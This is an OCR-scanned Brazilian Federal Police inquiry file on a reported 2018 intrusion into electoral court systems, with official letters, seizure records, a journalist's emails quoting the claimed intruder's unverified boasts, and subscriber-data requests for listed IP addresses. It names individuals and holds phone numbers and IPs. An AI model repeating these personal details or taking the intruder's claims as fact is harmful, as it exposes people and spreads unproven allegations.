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POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF
Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia/DF

CERTIDAO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

CERTIFICO QUE, desentranhei dos autos os documentos em virtude de ter sido escaneado com erro (faltando
folhas). O referido é verdade e dou fé.

Documento eletronico assinado em 04/11/2020, as 10h58, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte cédigo verificador: 0d30f98d408727b311835985448d6afd7d1de241
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POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF
Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia/DF

CERTIDAO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

CERTIFICO QUE, desentranhei dos autos os documentos em virtude de ter sido escaneado com erro (faltando
folhas). O referido é verdade e dou fé.

Documento eletronico assinado em 04/11/2020, as 10h59, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte cédigo verificador: c1c0f2f957472d157dc7710932458cfb72926145




SERVICO PUBLlCO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 '
IPL N° 1361/2018-4 SR/PF/DF

PORTARIA

VICTOR NEVES FEITOSA CAMPOS, Delegado
de Policia Federal, lotado e em exercicio na
SR/PF/DF, em Brasilia/DF, no uso de suas
atribuigbes previstas no art. 144, §1°, 1 e IV, da
Constituicao Federal de 1988, no art. 4° e segs.,
do Codigo de Processo Penal, e na Lei n°
12.830/2013,; é .y

Considerando os termos do Oficio n:‘; 5825
GAB-SPR, proveniente do Tribunal Superlor

Eleitoral, registrado nesta SR/PF/DF sob1 o n°
08200.021554/2018-33, L

RESOLVE: : o
Instaurar Inquérito Policial, para apurar possivel ocorréncia do dellto
previsto no art. 154-A, §3° do Cdédigo Penal, que veio ao conhecimento desta
Superintendéncia por meio do Oficio n® 5825 GAB-SPR, proveniente do Tribunal
Superior Eleitoral, trazendo a noticia de suposta invas&o a sistemas e bancos de

dados do TSE, com acesso e divulgagao de dados sigilosos daquele Tribunal.

Autuada esta e os documentos acima mencionados, feitos os registros e
anotagbes de praxe, DETERMINO sejam adotadas, preliminarmente, as seguintes
providéncias:

1. Expeca-se oficio a Procuradoria da Republica, comunicando a
instauragao deste procedimento;

2. Apreenda-se a midia (pen drive) encaminhada pelo Oficio n® 5825
GAB-SPR, juntando-a aos autos;

3. Junte-se o Oficio n°® 5860 GAB-SPR, proveniente do TSE;

4. Expega-se oficio ao Tribunal Superior Eleitoral, enderegado ao
Secretario de Tecnologia da Informagéo, sr. Giuseppe Dutra Janino, solicitando a

IPL N° 1361/2018
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-802

imagem da(s) maquina(s) supostamente invadida(s), relatério circunstanciado do
incidente réportado no oficio ensejador da instauragdo do presente apuratério, bem
como relatério circunstanciado de eventual incidente ocorrido no ano de 2018, que
possa ter relagao com o incidente reportado, indicando logs e IP's (ou outras
informacdes relevantes) suspeitos que possam levar a autoria do fato;

5. Aguarde-se em cartério a chegada da resposta ao item 3. supra,
quando deverdo os autos retornarem-me conclusos para determinagdo de novas
diligéncias .

[ ) CUMPRA-SE

iPL N° 1361/2018
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TRIBUNAL SUPERIOR ELEITORAL

Oficio n? 5825 GAB-SPR
Brasilia, 06 de novembro de 2018.
A Sua Exceléncia o Senhor
ROGERIO AUGUSTO VIANA GALLORO
Diretor-Geral da Policia Federal
Brasilia - DF

Assunto: Medidas de policia judiciaria.

Senhor Diretor-Geral,

Tendo em vista o teor do e-mail que acompanha o
presente oficio (anexo - I), bem como dos documentos e
imagens nele veiculadas (midia digital - anexo II), solicito a
Vossa Exceléncia a adogdo das medidas administrativas de
policia judiciaria pertinentes.

Atenciosamente,

Miylist@f};\jSA WEBER

Presidente



TRIBUNAL SUPERIOR ELEITORAL

ANEXO 1

De: Felipe Payao [mailto:felipe.cruz@gruponzn.com]

Enviada em: terca-feira, 6 de novembro de 2018 13:47

Para: Imprensa; silvana.freitas@tre-sp.jus.br

Assunto: Re: TecMundo - Possivel acesso ao GEDAI/Documentos

Os arquivos estdo no ZIP, como indiquei na ligagéo.
Obrigado
Em 6 de novembro de 2018 12:36, Felipe Paydo <felipe.cruz(@gruponzn.com>

escreveu:
0Ol4. Tudo bem?

Recebemos alguns documentos e imagens de uma suposta invasio ao sistema GEDAI ¢
outras informagdes sigilosas referentes aos processos do TSE. Antes de uma provavel
publicagdo, gostariamos de compartilhar o material com voc€s. -

Este seria o melhor canal?
Obrigado

4

Felipe Payao
Repérter
TeL. +55 11 5083.1018"

ceL +55 11 972827444
HTTP:/ NZN.I0




TRIBUNAL SUPERIOR ELEITORAL

Oficio n2 5860 GAB-SPR
Brasfilia, 07 de novembro de 2018.
A Sua Exceléncia o Senhor
ROGERIO AUGUSTO VIANA GALLORO
Diretor-Geral da Policia Federal
Brasilia - DF

Assunto: Medidas de policia judiciaria - continuacdo.

Senhor Diretor-Geral,

A Encaminho a Vossa Exceléncia cépia do e-mail recebido
nesta data (anexo-I), em complementagdo aos documentos de
que trata o Oficio n2 5860 GAB-SPR, de 06.11.2018.

Atenciosamente,

Mllﬁa/lyl\(/)SA WEBER

Presidente



TRIBUNAL SUPERIOR ELEITORAL

ANEXO I

De: Felipe Paydo [mailto:felipe.cruz@gruponzn.com]

Enviada em: quarta-feira, 7 de novembro de 2018 16:46
Para: Imprensa
Assunto: Re: TecMundo - Possivel acesso ao GEDAI/Documentos

Ola,

Vocés teriam como nos enviar um posicionamento ainda hoje?

!

Obrigado

Em 7 de novembro de 2018 16:12, Felipe Paydo <felipe.cruz@gruponzn.com>
escreveu:

Ol4, . .

Esqueci de incluir o texto que acompanhou os documentos explicando como foi
realizada a suposta invasdo ao GEDAI e intranet. Segue abaixo:

Devido a falhas/vulnerabilidades de aplicagdes desenvolvidas pelo préprio TSE, acabei
obtendo acesso remoto, a um dos equipamentos ligado a rede. :

Desta forma, tive acesso a rede interna (intranet), e por varios meses, fiquei explorando a
rede, inclusive entrando em diversas maquinas diferentes do TSE, em busca de
compreender, o funcionamento do sistemas de votagao.

Com isso, obtive milhares de codigos-fontes, documentos sigilosos, e até mesmo,
credenciais, sendo login de um ministro substituto do TSE (Sérgio Banhos), e diversos
técnicos, alguns sendo ligados a alta cupula de T.1, do TSE, ligado ao pai das urnas-
(Giuseppe Janino).

Passados algumas semanas em que estive utilizando os equipamentos de rede do TSE,
notei via e-mail's dos técnicos da STI, que os mesmos notaram trafego suspeito (devido ter
tido utilizados programas de scan, na rede), fizeram uma pericia para detalhar como o
invasor conseguiu obter acesso ilegal a rede, mas mesmo com todos estes procedimentos
de seguranga que dotaram, incluindo a alteragdo de senhas de todas as contas, acabou
ndo sendo suficiente para interromper meu acesso, aos e-mails, e também a rede interna.

Notei que em 07/09 (data de execugao do pleito eleitoral de 2018), os técnicos cortaram,
acesso ao VPN, e ao Correio, talvez para justificar, que as urnas ndo possuem conexao a
internet, mas isso & bem assim, pois qualquer cidadao com conexao a internet, e
conhecimento para tal, exemplo: controle remoto de qualquer servidor que dispde de
conexao a internet/intranet, poderia ser utilizado para manipulagéo, de aplicagbes




e

TRIBUNAL SUPERIOR ELEITORAL :
responsaveis pelo sistema de votagdo, como o Intercad (aplicagao WEB/JAVA), ligada aos

TRE'S. :

Outra coisa, obtive juntamente com o cédigo-fonte que compdem o funcionamento das
urnas, as chaves que sao utilizadas.

Estou anexando mais algumas imagens em um arquivo ZIP, confirmando a obterigdo do
cédigo-fonte, e também de documentos sigilosos que podem comprometer o pleito.

Obs: Somente o cédigo-fonte descompactado (GEDAI-UE), ultrapassa 3GBs, sendo que
obtive milhares de outros cédigos, como Cand-web.”
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! 111172018 SEI/PF - 8890655 - Despacho

SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL
CORREGEDORIA REGIONAL DE POLICIA FEDERAL - COR/SR/PF/DF

Assunto: Noticia-crime

Destino: DRCOR/COR/SR/PF/DF
Processo: 08200.021554/2018-33
Interessado: TSE

1. Trata-se de oficio encaminhado pela Excelentissima Ministra Presidente do Tribunal
Superior Eleitoral, ROSA WEBER, comunicando e solicitando a ado¢do de medidas de policia judicéria
pela Policia Federal, diante da possivel invasdo ao sistema GEDAI e acesso a documentos sigilosos do

" Tribunal Superior Eleitoral, fato que se amolda, em tese, ao crime previsto no art. 154-A, §3°, do Codigo
Penal Brasileiro.

2. Encaminhe-se o expediente 8 DRCOR para instauragdo de Inquérito Policial, procedendo-
se as atualizagdes nos sistemas SEI/SISCART.

RODRIGO DA SILVA BITTENCOURT
Delegado de Policia Federal
Corregedor Regional

. Documento assinado eletronicamente por RODRIGO DA SILVA BITTENCOURT, Corregedor Regional,
X3 | em 07/11/2018, as 18:52, conforme horirio oficial de Brasilia, com fundamento no art. 62, § 12, do
§ Decreto n? 8.539, de 8 de outubro de 2015.

+ A autenticidade deste documento pode ser conferida no site
= http.//sei.dpf.gov.br/sei/controlador_externo.php?

3. gt ® acao=documento_conferir&id_orgao_acesso_externo=0, informando o codigo verificador 8890655 e -
7 0k ? o codigo CRC 28CC6EQA.

Referéncia: Processo n® 08200.021554/2018-33 SEI n® 8890655

F https://sei.dpf.gov.br/sei/controlador.php?acao=documento_imprimir_web&acao_origem=arvore_visualizar&id_documento=1 1452699&infra_siste...  1/1
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A SERVIQO PUBLiCO FEDERAL S RS R SR
st e sen e e LT MSP - POLICIA FEDERAL RSP
o SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL = - -. ' *

SAIS Quadra 7 - Lote 23 - Sgtor Policial Sul - Brasilia/DF - CEP 70.610-902 .

DESPACHO N° 6386/2018 - DRCOR/SRIPF/DF
(DISTRIBUIQAO) . AR R

Brotocolo. . J08200.02185412018.33  ~ .~ T |7
Referéncias: Oficio n® 5825 GAB-SPR ‘ "
Assunto: Instauracao de Inquérito Policial -
\ Encammhe-se 0 presente expediente ao Delegado de Policia Federal ’
ViCTOR NEVES FEITOSA CAMPOS para a mstauragao de Inquento POlICIal

Atﬁ'ali'ierﬁlse os registros de praxé no SISCART/SEI.'

Brasilia/DF, 08 de novembro de 2018.

{UGO DE BARROS CORREIA , .
Delegado de Policia Federal : o
Chefe da DRCOR/SR/PF/DF
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SERVIGO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n°® 8663/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 09 de novembro de 2018.

A Sua Senhoria, o Senhor

Giuseppe Dutra Janino

Secretario de Tecnologia da Informacgao

Tribunal Superior Eleitoral

Setor de Administragéo Federal Sul, Quadra 7 - Asa Sul, tel.: (61) 30308881/8882
gab.sti@tse.jus.br

CEP. 70297-400 - Brasilia/DE

Assunto: Solicitagao de informacgdes
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhor Secretario,

Visando a apuracédo dos fatos noticiados no oficio n°® 56825 GAB-SPR,
solicito a Vossa Senhoria encaminhar a imagem da(s) maquina(s) supostamente
invadida(s), relatério circunstanciado do incidente reportado no oficio ensejador da
instauragao do presente apuratério, bem como relatério circunstanciado de eventual
incidente ocorrido no ano de 2018, que possa ter relagdo com o incidente reportado,
indicando logs e IP's (ou outras informagdes relevantes) suspeitos que possam levar a
autoria do fato.

Atenciosamente,

VICTOR CAMPOS

Delggado de Policia Federal
13 Classe - Matricula n° 16.1;‘9&‘

s
e
\ 0 A .

Dé\aw&‘"e&‘“

IPL N° 1361/2018 fls.1/1
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SERVIGO PUBLICO FEDERAL
AMSP - POLICIA FEDERAL
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

AUTO DE APREENSAO N° 714/2018
IPL-1361/2018-4-SR/PF/DF

Ao 09 dia(s) do més de novembro de 2018, nesta SUPERINTENDENCIA REGIONAL
DE POLICIA FEDERAL NO DISTRITO FEDERAL, em Brasilia/DF, onde se encontrava
VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal, na presenca das
testemunhas HELIO GRACA MOUTA FILHO e SIMONE MENDES DE ANDRADE,
ambos Escrivaes de Policia Federal, lotados e em exercicio nesta SR/PF/DF, pelo
mesmo foi determinado que se tornasse efetiva a apreensao, na forma da Lei, do
material abaixo discriminado:

Apreensao n°: 714/2018
Item|Descrigao Quant. | Unidade |[Observagao

1 |Pendrive 1 UN [PEN DRIVE, MARCA SANDISK,
NAS CORES VERMELHA E
PRETA, ENCAMINHADO PELO
OFICIO N° 5825 GAB-SPR.

Referida apreensao se deu em cumprimento ao Item 2 do Despacho inaugural da
Autoridade Policial (fls. 02). Nada mais havendo, determinou a autoridade o
encerramento do presente que, lido e achado conforme, assinam comigo, EDVALDO

SOUZA NASCIMENTO, Escrivéo‘/“ icia Federal, as testemunhas.

AUTORIDADE: ...............

DI —

TESTEMUNHA: .............| O

TESTEMUNHA: .............

ESCRIVAO®] ...ovvoveen... .

IPL N° 1361/2018 fls.1/1
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SERVIGO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Poficial Sul - Brasilia/DF - CEP 70.610-802

Oficio n°® 8726/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC

A ]

Brasilia/DF, 09 de novembro de 2018.

A Sua Exceléncia o(a) Senhor(a)
Procurador(a) da Republica

Procuradoria da Republica no Distrito Federal
SGAS 604, Lote 23 - Avenida L2 Sul

Assunto: Comunica Instauragao de Inquérito Policial
Ref.: IPL 13§1I201 8-4 - SRIPFIDF (Citar principalmente este n° em eventual resposta)

4

Senhora Procurador)

Comunico a Vossa Exceléncia que, em resposta ao Oficio n.° 5825,
protocolado nesta SR/DPF/DF sob o n° 08200021554201833, foi instaurado o Inquérito
Policial 1361/2018-4 - SR/PF/DF, sob a presidéncia desta Autoridade signataria,
invasao ao sistema GEDAI e acesso a documentos sigilosos do TSE.

Atenciosamente,

IPL N° 1361/2018



SRIPF/D
Bk 1
Rub?

; Y/
SERVICO PUBLICO FEDERAL

MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 1361/2018-4 - SR/PF/DF
DESPACHO

1. Juntem-se os Oficios n® 6297 STl e 6322 STI.

‘2. Encaminhe-se o material (pen drive e discos rigidos) que
acompanharam os expedientes supra citados ao Servico de Repressao a
Crimes Cibernéticos da CGPFAZ, solicitando analisar o material e confirmar os
enderecos IP dos acessos e eventual vinculagéo do episodio de abril com o
ocorrido em setembro e outras informagées que possam levar a autoria do fato
delituoso.

3. Considerando o vencimento do prazo de permanéncia dos autos
no ambito policial, remetam-se ao MPF/DF com solicitagado de concessao de
novo prazo para continuidade das investigagoes.

FRY.

© -

Brasilia/DF, 07 A¢ dez: de 2018.

. ,;i DATA 4 ,

A0(S) éZ/,@/ ., recebi estes autos conclusog do(a e
Delegado(a) VICTOR NEVES FEITOSA CAMPOS matricula
16.179, com 1 volume(s) e O apenso(s). EU/

Classe Especial, Matricula n® 926, que o lavrei.

IPL N° 1361/2018

EDVALDO SOUZA NASCIMENTO, Escrivao de/Policia Federal]
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30/11/2018 SEWTSE - 0925165 - Oficio

1

. ; i . /
TRIBUNAL SUPERIOR ELEITORAL
Oficio n2 6297 STI
' Brasilia, 16 de novembro de 2018.

A Sua Senhoria o Senhor
Victor Neves Feitosa Campos
Delegad;) de Policia Federal -
Policial Federal - Superintendéncia Regional no Distrito Federal
Brasilia - DF - |
O

Assunto: Resposta. Solicitacio de Informagdes. IPL 1361/2018-4 - SR/PF/DF '

Senhor Delegado,

1. Trata-se de encaminhar disco rigido contendo artefatos envolvidos em incidente
de seguranga ocorrido na rede da Justiga Eleitoral, que abriu precedente para que pessoas
alheias a rede desta Justica Especializada tivessem acesso a dados sensiveis.

2. S30 os artefatos contidos no HD:

- Log de acesso a VPN do TRE-PB. Enviado log completo bem como log do usuério
@ Digitro; :

- Cépia da maquina virtual do TRE-RN, que foi invadida durante o evento;

- Copia de trés maquinas do TRE-BA que foram invadidas durante o evento de Abril;

- Relatério do TRE-PE contendo detalhamento do evento de Abyril;

.

- Arquivo texto contendo resumo do evento de Abril de 2018.

{

Atenciosamente,

GIUSEPPE DUTRA JANINO 3
SECRETARIO DE TECNOLOGIA DA INFORMACAO

[#9) pocumento assinado eletronicamente em 30/11/2018, as 19:42, conforme art. 12, §29, II],
b,da Lei 11.419/2006.

https://sei.tse.jus.br/sei/controlador.php?acao=documento_imprimir_web&acao_origem=arvore_visualizar&id_documento=981869&infra_sistema...

1/2




03/12/2018 SEI/TSE - 0926840 - Oficio

L

TRIBUNAL SUPERIOR ELEITORAL
Oficio n? 6322 STI
Brasilia, 3 de dezembro de 2018.

A Sua Senhoria o Senhor
Victor Neves Feitosa Campos
Delegado de Policia Federal
Policial Federal - Superintendéncia Regional no Distrito Federal
Brasilia - DF
®

Assunto: Complementagio. Resposta. Solicitacio de Informagdes. IPL 1361/2018-4 - SR/PF/DF

Senhor Delegado,

1. Trata-se de encaminhar pendrive e HD externo contendo artefatos envolvidos em
incidente de seguranca ocorrido na rede da Justica Eleitoral, que abriu precedente para que
pessoas alheias a rede desta Justiga Especializada tivessem acesso a dados sensiveis.

2. Os artefatos sao:
- Logs de agdes dos usuérios Cristiano Andrade, Sergio Banhos e Rodrigo Coimbra;

. - Imagens de didlogos entre Cristiano Andrade e Marcelo Carneiro, evidenciando
incidente ocorrido em 12 de maio;

- Relatério circunstanciado dos incidentes ocorridos e abril e setembro de 2018;

- Copia da maquina virtual do TRE-RN.

Atenciosamente,

ELMANO AMANCIO DE SA ALVES
SECRETARIO(A) DE TECNOLOGIA DA INFORMACAO - SUBSTITUTO(A)

28 Documento assinado eletronicamente em 03/12/2018, as 16:39, conforme art. 12, §22, 11],

b, da Lei 11.419/2006.

A autenticidade do documento pode ser conferida em

https://sei.tse.jus.br/sei/controlador externo.php?

acao=documento conferir&id orgao acesso externo=0&cv=0926840&crc=61BAC466,

https://sei.tse.jus.br/sei/controlador.php?acao=documento__imprimir_web&acao__ori_qem=arvore_visuaIizar&id_documento=983653&infra_sistema... 1/2




03\/1 2/2018 SEITSE - 0926840 - Oficio

v

' [s]; a8 informando, caso nio preenchido, o cédigo verificador 0926840 e o c6digo
* 61BAC466.

rre

O] ok

2018.00.000014722-6 Documento n® 0926840 v4

https://sei.tse.jus.br/sei/controlador.php?acao=documento imprimir web&acao origem=arvore visualizar&id documento=983653&infra sistema... 2/2
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SERVI(}O PUBLICO FEDERAL
S8/MSPR,; : POLICIATFEDERALAL,

SUPERINTENDENCIA REGIONAL'NO:DISTRITO FEDERAL
QtSAIS Quadra7,: Lote 23 Setor Pohmal Sul Brasma/DF ~CEP{70.610-9028}

Memoranao n° 5970/2018n IPL 1361/2018 4 SR/F,{F/DE,;_ .GRCC; omo..ggg

| [r— RE["JR‘.sSA JF ,,. Em-07jde'dezembro de 2018.

{Aaw 07M2/2018, fago remiessa dos aulos do IPL n{
) 1a6112018o4 contendo 1 vah.tme(s) e 0 apenso(s) ,
Aoj Exmo. Senbor-Chefe-do Serwg;o e Repressao a'Crimes Cibarnaficos da P
CGPFAZ rocuradoria da Repubi:za no-Lisinto Federal, nos termaos dc i
arigo 2 da Resok_gﬁo n® 63, do Consetho da Justig :

)[ . ' Assunto: Sohmtando anallse"de materlaIV%WA NASCM:NTO :
| |Zoeriviio de Poligia Fedoral, Classe Especiai“"'t?f“‘r o paticr N o

O lou2 favrei aprev\ nte. | T——

ke Senhor Chefe . B —_— ‘

Objetivando instrwr.os autos do'IPL 1361/2018-4 SR/PF/DF GRCC
encaminho a Vossa Exceléncia os materiais que se fazem acompanhar dos Oficios n°
6297 STl e 6322 STI, (pen drive e discos rigidos), para fins de.andlise dos mesmos e

confirmagao dos enderegos IP dos acessos e eventual vinculagédo do episédio de abril
com o ocorrido em setembro e ‘outras mformagoes que possam Ievar a autoria do fato
delituoso. - ; '
Atenciosamente,
o
N
O « |
. VICTOR NEVHS FEITIO®A CAMPOS
Delegadojdg Poli
’ : Classe Especi
i
IPL N° 1361/2018 ) J
. N ‘

P 1332018 . S | ‘ - B
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MJ.-DERARTAMENTO DE POLICIA FEDERAL
SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL

DELEGACIA DE REPRESSAO A CRIMES FAZENDARIOS

CERTIDAO

CERTIFICO QUE, NESTA DATA RECEBI DO SENHOR CHEFE DO
NUCART OS PRESENTES AUTOS PARA PROSSEGUIMENTO DOS
TRABALHOS AFETOS A ESTE APURATORIO, EM ASSIM, FACO
CONCLUSOS AO SENHOR DELEGADO DE POLICIA FEDERAL
VICTOR NEVES FEITOSA CAVZ’OS, PARA DELIBERAR, DO
QUE PARA CONSTAR, LAVRO'ESTE TERMO. O REFERIDO E
VERDADE E DOU FE. VALDO SOUZA NASCIMENTO,
ESCRIVAO DE POLICIA FEDERAL, MATRC. 926.
BRASILIA, 24 DE JANEIRO DE 2019.

CONCLUSAO

NESTA DATA, FACO CONCLUSOS OS PRESENTES AUTOS AO
SENHOR DELEGADO DE POLICIA FEDER?( VICTOR NEVES
FEITOSA CAMPOS, PARA DELIBERAR,/ DO QUE, PARA
CONSTAR, LAVRO ESTE TERMO. E ,ﬁ&rnw\mo SOUZA
NASCIMENTO, ESCRIVAO DE POLICJAFEDERAL.

BRASILIA, 25 DE JANEIRO DE 2019. S—_—




SR/PE/DF
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 1361/2018-4 - SRIPF/DF
DESPACHO

1. Junte-se o Oficio n° 296 GAB-SPR.

2. Expega-se oficio de resposta ao item 1 supra informando que o inquérito
estd em andamento, restando pendente, atualmente, analise por parte do Servigo de
Represséo a Crimes Cibernéticos do material encaminhado pelo TSE.

3. Verifique-se se consta em cartério resposta ao Memo de fl. 20. Em caso
positivo, junte-se e retornem-me conclusos. Em caso negativo, reitere-se e aguarde se
em cartério por 30 dias ou até a chegada da resposta. :

Brasilia/DF, 20 de fevereiro de 2019. -

VICTOR NEVES FEITOSA CAMPOS

Deledado de \Policia Federal
Classe Especial - Matricula-n® 16.179

DA,
NESTA DATA, RECEBI 08 Pifz D?,/r
SHNTES A
(s)':N&OR DELEGADO DE FoL| FESERﬁQEgSg
DESPACHO SUPRA, DOsas PARA CONSTAR ¢
LAVRO ESTE TERMOuadf BRvaLpo SOUu H

NASCIMENTO,
BF RASILIA, _Z;Zj

IPL N®1361/2018
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SERVI(;O PUBLICO FEDERAL
‘MSP - POLICIA FEDERAL

SUPERlNTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-802

JUNTADA

Aos 26/02/2019, faco juntada do(s)'seguintés document.o',_ : 0 Oficio n° 296
GAB-SPR, referido(s) no Despacho retro. Eu, /# - : FDVA'LDO
SOUZA NASCIMENTO Escrlvao de Polucua Federal Classe Especnal Matrlcula
n° 926, que o} Iavren :

IPL N° 1361/2018



PROTOCOLO - SE|
i SERA/COADIDLOGIPF
TRIBUNAL SUPERIOR ELEITORAL

Oficio n® 296 GAB-SPR

Brasilia, 01 de fevereirg de 2019.
A Sua Exceléncia o Senhor

0 |
Dr. MAURICIO LEITE VALEIXO Al L |
Diretor-Geral da Policia Federal
Brasilia - DF

{361 ] o3

Assunto: Oficio ne 5825 GAB-SPR. Medidas de policia judiciaria.

Senhor Diretor-Geral,

Reiterando o Oficio n? 5979 GAB-SPR, de 20/ 11/2018, solicito a
carater reserva

Atenciosamente,

RICARDO FIOREZE
Juiz Auxiliar da Presidéncia

Presidente da Comissdo de Sindicincia

RICARDO FIOREZE -
2 JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELE]T_ORAL
ER Docum

ento assinado eletronicamente em 04/02/2019, as 09:33, conforme art.'19,§2¢,.111;, L!
b, da Lei 11.419/2006.

O e A autenticidade do documento pode ser'conferida em

e by ht_tps:((sei.tse.jus.br[seikontro]ador externo.php? _ )
p Slel acao=documento conferir&id 0rgao acessg externo=0&cv=09_63982&ch=B7C9F9BA_
=2 informando, caso nio preenchido, o cédigo verificador 0963982 e 0'cédigo CRC

2018.00.000014309-3 ‘Documento n® 0963982 v4.

f( R Cilint > v e
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-802

OflClo n° 1468/2019 - IPL 1361/2018-4 SR/PF/DF GRCC -

Brasma/DF 26 de feverelro de 2019 B

A Sua Exceléncia, o Senhor

RICARDO FIOREZE

Juiz Auxiliar da Presidéncia do Tribunal Superior Eleitoral Do
Setor de Admmastragao Federai Sul (SAFS) Quadra 7, Lotes 1/2—- Tel .(81) 3030- 7000‘ :

Assunto: Solicitagao de mformagoes
Ref.: IPL 1361 12018-4 - SR/PF/ DF (Favor citar essa referencla na resposta)

Senhor Ju.iz Auxiliar,

Visando instruir os autos do Inquérito Policial n° 1361/2018:4 - -
SR/PF/DF, informo a Vossa Excelenma que o lnquento estd em andamento, restando . .
pendente, atualmente, analise por parte -do Servngo de Repressao a Cnmesf_f'
Cibernéticos do materlal encammhado pelo TSE. :

Atenciosamente,

/ .
% ' Delegado de Policia Federal
Classe Especial - Matricula n°® 16.179

Correl
Ba 0S
Hug? d;‘e olicia ‘:ede\‘a“
pelegad® | oocariswIFe]

A

IPL N° 1361/2018 | T T RN Y VA )




SRIPE/DF
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 1361/2018-4 - SR/PF/DF

1. Junte-se o relatdrio de incidente produzido pela equipe de Tl do TSE.

2. Junte-se a Infofmagéo n® 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF.

3. Formalize-se a apreensédo do disco rigido externo e do pen drive que
acompanham a informagdo, encaminhando-se, em seguida, ao deposito desta
Superintendéncia.

4. Oficie-se a empresa Locaweb Servigos de Internet S/A, requisitando os
dades cadastrais do usuario do IP 191.252.64.20, em 17/04/2018, as 21:46:26 e
18/04/2018, as 06:36:35, bem como o contetdo referente a hospedagem que utilizou o
IP 191.252.0.19, em 18/04/2018 as 00:23:48.

5. OfICIe -se a empresa Claro S/A, requisitando os dados cadastrais dos
usuarios do IP 201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as
08:36:42, e do IP 201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018 as
05:48:59.

6. Oficie-se a empresa Tim Celular S/A, reqU|S|tando os dados cadastrais
dos usuarios dos IP:
189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189.40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
 189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/04/2018, as 04:08:37

7. Aguarde-se em cartdrio resposta ao expediente citado no item 4 supra,
observando-se o vencimento do prazo de permanéncia deste apuratério no ambito
desta Policia Judiciaria da Uniao (21/04/2019) quando devera ser remetido ao
NUCART, independente de novo despach /d?termmag:ao de remessa do feito ao
Ministério Publico Federal do DF, com sohcutaga concesséo de novo prazo.

d / Z Brasilia/DF, 17 de abril de 2019.
VICTOR NEVES EEIfOSA CAMPOS

Delegado de ’]réla Federal
Classe Especial - Matricula n® 16.179

IPL N° 1361/2018




N ! ‘ : TRIBUNAL SUPERIOR ELEITORAL
‘ COORDENADORIA DE INFRAESTRUTURA
SECAO DE SUPORTE OPERACIONAL

AO Sr. SECRETARIO DE TECNOLOGIA DA INFORMACAO,

Venho através desse documento, relatar o incidente de rede ocorrido no periodo de 18 de abril
a 21 de abril de 2018 que veio a afetar ativos de rede e servidores da rede interna do TRE-PE, bem
como de toda a justiga eleitoral.

No dia 20 de abril de 2018 as 15:06 da tarde, foi detectado pela equipe do Tribunal Regional
de Pernambuco, acesso indevido ao seu servidor de banco de dados, com acesso oriundo da maquina
plank.tre-rn.jus.br (10.16.140.49) um dos servidores de banco de dados do Tribunal Regional
Eleitoral de Pernambuco.

